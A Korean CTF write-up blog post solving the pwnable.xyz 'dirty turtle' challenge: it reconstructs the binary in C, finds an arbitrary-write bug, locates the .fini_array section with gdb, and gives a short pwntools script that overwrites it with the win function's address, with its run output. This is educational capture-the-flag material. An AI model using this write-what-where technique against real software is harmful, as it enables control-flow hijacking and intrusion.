🗂️ INDEX

글 작성자: Universe7202

 

pwnable.xyz 34번째 문제 dirty turtle 이다.

 

 


Analyze

이번 문제의 사용자 정의 함수를 보면 아래와 같다.

ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
get_val
handler
main
setup
win

 

checksec으로 바이너리에 적용된 보안 기법을 보면 아래와 같다.

ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ checksec --file=challenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified     Fortifiable  FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   77 Symbols     Yes      0    2challenge

 

바이너리를 gdb로 분석하여 c로 나타내면 다음과 같다.

#include <stdio.h>

void get_val(){
    long *(rbp-0x30) = 0;
    long *(rbp-0x28) = 0;
    long *(rbp-0x20) = 0;
    long *(rbp-0x18) = 0;
    
    read(0, rbp-0x30, 0x20);
    return strtoull(rbp-0x30);
}

int main(){
    puts("Dirty Turtle Off-RoadS");
    printf("Addr: ");
    *(rbp-0x10) = get_val();
    
    printf("Value: ");
    *(rbp-0x8) = get_val();
    
    if(*(rbp-0x8) == 0){
        puts(*(rbp-0x10));
    }
    else{
        *(*(rbp-0x10)) = *(rbp-0x8);
    }
}

 

main 함수에서 else 구문을 보면 Overwrite 할 수 있는 부분이 있다.

checksec으로 보면 No RELRO 이므로 GOT를 Overwrite 할 수 있다.

하지만 이번 바이너리는 한번 실행하면 프로그램이 종료되어 특정 함수의 GOT를 Overwrite 하더라도 공격이 실행되지 않는다.

 

따라서 바이너리 header에서  fini_array 헤더를 이용한다.

fini_array 에 대한 설명은 아래 링크를 참고하자.

 

생성자, 소멸자 low-level

소멸자 .dtors ``` 080495f4 d __DTOR_END__ ``` 소멸자로 프로그램이 종료되기 전에 여기에 명시되어 있는 주소(함수)가 호출된다. `` __DTOR_END__``의 위치는 nm을 사용해도 좋고 readelf나 objdump로 확인해도..

umbum.dev

간단히 설명하자면, gcc 4.7 이상 버전은 elf header에 fini_array 헤더가 존재한다.

이는 main 함수가 끝나기 직전에  fini_array 주소의 값으로 점프를 한다.

 

즉, fini_array 값을 win 함수로 Overwrite 하면 문제를 Clear 할 수 있게 된다.

 

먼저 fini_array의 주소를 구하면 아래와 같다.

ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ gdb -q challenge
Reading symbols from challenge...(no debugging symbols found)...done.

gdb-peda$ elfheader
.interp = 0x400200
.note.ABI-tag = 0x40021c
.note.gnu.build-id = 0x40023c
.gnu.hash = 0x400260
.dynsym = 0x400288
.dynstr = 0x4003d8
.gnu.version = 0x400480
.gnu.version_r = 0x4004a0
.rela.dyn = 0x4004d0
.rela.plt = 0x400530
.init = 0x400608
.plt = 0x400620
.text = 0x4006c0
.fini = 0x4009a4
.rodata = 0x4009b0
.eh_frame_hdr = 0x4009ec
.eh_frame = 0x400a40
.init_array = 0x600bb8
.fini_array = 0x600bc0
.jcr = 0x600bc8
.dynamic = 0x600bd0
.got = 0x600da0
.got.plt = 0x600db0
.data = 0x600e10
.bss = 0x600e20

 

위 결과를 통해 fini_array의 주소는 0x600bc0이다.

주소를 구했으니 Overwrite 할 값은 win 함수의 주소로 값을 넣으면 끝이다.

 

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz" , 30033)
e = ELF("./challenge")

p.sendlineafter(": ", str(int(0x600bc0)))
p.sendlineafter(": ", str(e.symbols["win"]))

p.interactive()
ubuntu:~/environment/ctf/pwnable.xyz/34_Dirty turtle $ python poc.py 
[+] Opening connection to svc.pwnable.xyz on port 30033: Done
[*] '/home/ubuntu/environment/ctf/pwnable.xyz/34_Dirty turtle/challenge'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
FLAG{-------------------}[*] Got EOF while reading in interactive
$  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'🚩CTF' 카테고리의 다른 글

[TSG 2020 CTF] beginner's pwn write up  (0) 2020.07.14
[HackCTF] - [Misc] 탈옥 write up  (0) 2020.04.26
[pwnable.xyz] badayum write up  (0) 2020.03.10
[pwnable.xyz] Hero Factory write up  (0) 2020.03.10
[zer0pts 2020 CTF] - notepad write up  (0) 2020.03.09